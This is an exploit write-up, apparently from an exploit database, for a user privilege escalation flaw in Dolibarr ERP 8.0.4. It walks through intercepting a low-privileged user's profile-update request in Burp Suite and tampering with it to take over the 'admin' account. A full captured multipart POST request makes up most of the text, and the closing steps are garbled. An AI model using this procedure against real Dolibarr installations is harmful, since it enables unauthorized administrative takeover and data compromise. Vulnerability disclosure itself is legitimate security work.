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# Exploit title : Dolibarr 8.0.4 - user privilege escalation
# Google Dork : N/A
# Date : 06.02.2019
# Exploit Author : Mikayıl İlyas / Cyber-warrior.org - Bug Researchers group
# Vendor Homepage : https://dolibarr.org
# Software download : https://sourceforge.net/projects/dolibarr/files/Dolibarr%20ERP-CRM/8.0.4/
# Version : 8.0.4
# Tested on : Windows 7
# CVE :
# Vulnerability Type : user privilege escalation
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# Step by Step to vulnerable
Hello friends. This security vulnerability is available in version 8.0.4 of the Dolibarr software. It is very simple to use. First, let's set up our Dolibarr script for testing. After making all adjustments, create a new user from the Dolibarr management panel.
Screenshots: https://i.hizliresim.com/bVVr00.png
# Then let's give the "Create / modify your own user information" and "Change own password" permissions to the Normal user we created.
Screenshot: https://i.hizliresim.com/Wqq0vE.png
# Let's login to the system with the new user.
Screenshot: https://i.hizliresim.com/YQQD7a.png
# Yes, we did this. Now click on the user panel.
Screenshot: https://i.hizliresim.com/166LRD.png
# After entering the user panel, click "Change" button.
Screenshot: https://i.hizliresim.com/XMM056.png
# Now let's run the Burp suite software and set the proxy.
Screenshot 1: https://i.hizliresim.com/DYYPN6.png
Screenshot 2: https://i.hizliresim.com/Emmga8.png
# Yes friends. After that, let's make a change in our user panel and save it.
Screenshot: https://i.hizliresim.com/JZZaRQ.png
localhost request:
POST /dolibarr/user/card.php?id=4 HTTP/1.1
Host: localhost:85
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:85/dolibarr/user/card.php?id=4&action=edit
Content-Type: multipart/form-data; boundary=---------------------------257512254329775
Content-Length: 3798
Connection: close
Cookie: DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=65etle371s4vhk8tu3d7vk2qr0
Upgrade-Insecure-Requests: 1
-----------------------------257512254329775
Content-Disposition: form-data; name="token"
$2y$10$xmymxx24s8wDTbPm8oIY8uleEK7DFsPwekUdPhanpSDg/UvC.nbKS
-----------------------------257512254329775
Content-Disposition: form-data; name="action"
update
-----------------------------257512254329775
Content-Disposition: form-data; name="entity"
1
-----------------------------257512254329775
Content-Disposition: form-data; name="lastname"
test user
-----------------------------257512254329775
Content-Disposition: form-data; name="firstname"
user test
-----------------------------257512254329775
Content-Disposition: form-data; name="login"
test_user
-----------------------------257512254329775
Content-Disposition: form-data; name="password"
-----------------------------257512254329775
Content-Disposition: form-data; name="admin"
0
-----------------------------257512254329775
Content-Disposition: form-data; name="superadmin"
0
-----------------------------257512254329775
Content-Disposition: form-data; name="gender"
-1
-----------------------------257512254329775
Content-Disposition: form-data; name="employee"
1
-----------------------------257512254329775
Content-Disposition: form-data; name="fk_user"
-1
-----------------------------257512254329775
Content-Disposition: form-data; name="address"
CW
-----------------------------257512254329775
Content-Disposition: form-data; name="zipcode"
-----------------------------257512254329775
Content-Disposition: form-data; name="town"
-----------------------------257512254329775
Content-Disposition: form-data; name="country_id"
0
-----------------------------257512254329775
Content-Disposition: form-data; name="state_id"
0
-----------------------------257512254329775
Content-Disposition: form-data; name="office_phone"
-----------------------------257512254329775
Content-Disposition: form-data; name="user_mobile"
-----------------------------257512254329775
Content-Disposition: form-data; name="office_fax"
-----------------------------257512254329775
Content-Disposition: form-data; name="email"
-----------------------------257512254329775
Content-Disposition: form-data; name="accountancy_code"
-----------------------------257512254329775
Content-Disposition: form-data; name="color"
-----------------------------257512254329775
Content-Disposition: form-data; name="photo"; filename=""
Content-Type: application/octet-stream
-----------------------------257512254329775
Content-Disposition: form-data; name="signature"
-----------------------------257512254329775
Content-Disposition: form-data; name="job"
-----------------------------257512254329775
Content-Disposition: form-data; name="weeklyhours"
-----------------------------257512254329775
Content-Disposition: form-data; name="dateemployment"
-----------------------------257512254329775
Content-Disposition: form-data; name="dateemploymentday"
-----------------------------257512254329775
Content-Disposition: form-data; name="dateemploymentmonth"
-----------------------------257512254329775
Content-Disposition: form-data; name="dateemploymentyear"
-----------------------------257512254329775
Content-Disposition: form-data; name="birth"
-----------------------------257512254329775
Content-Disposition: form-data; name="birthday"
-----------------------------257512254329775
Content-Disposition: form-data; name="birthmonth"
-----------------------------257512254329775
Content-Disposition: form-data; name="birthyear"
-----------------------------257512254329775
Content-Disposition: form-data; name="save"
Kaydet
-----------------------------257512254329775--
# Now we do "normal_user" / change the username to "admin".
Screenshot 1: https://i.hizliresim.com/lqqWzQ.png
Screenshot 2: https://i.hizliresim.com/bVVGQm.png
# After you do this, you will see a notification in the User panel that says "Your user name has been changed."
And by checkout. "admin" password in the user name "normal user name you enter the password".
Screenshot 1: https://i.hizliresim.com/nQQWkB.png
That's it.
more detailed :
See you...
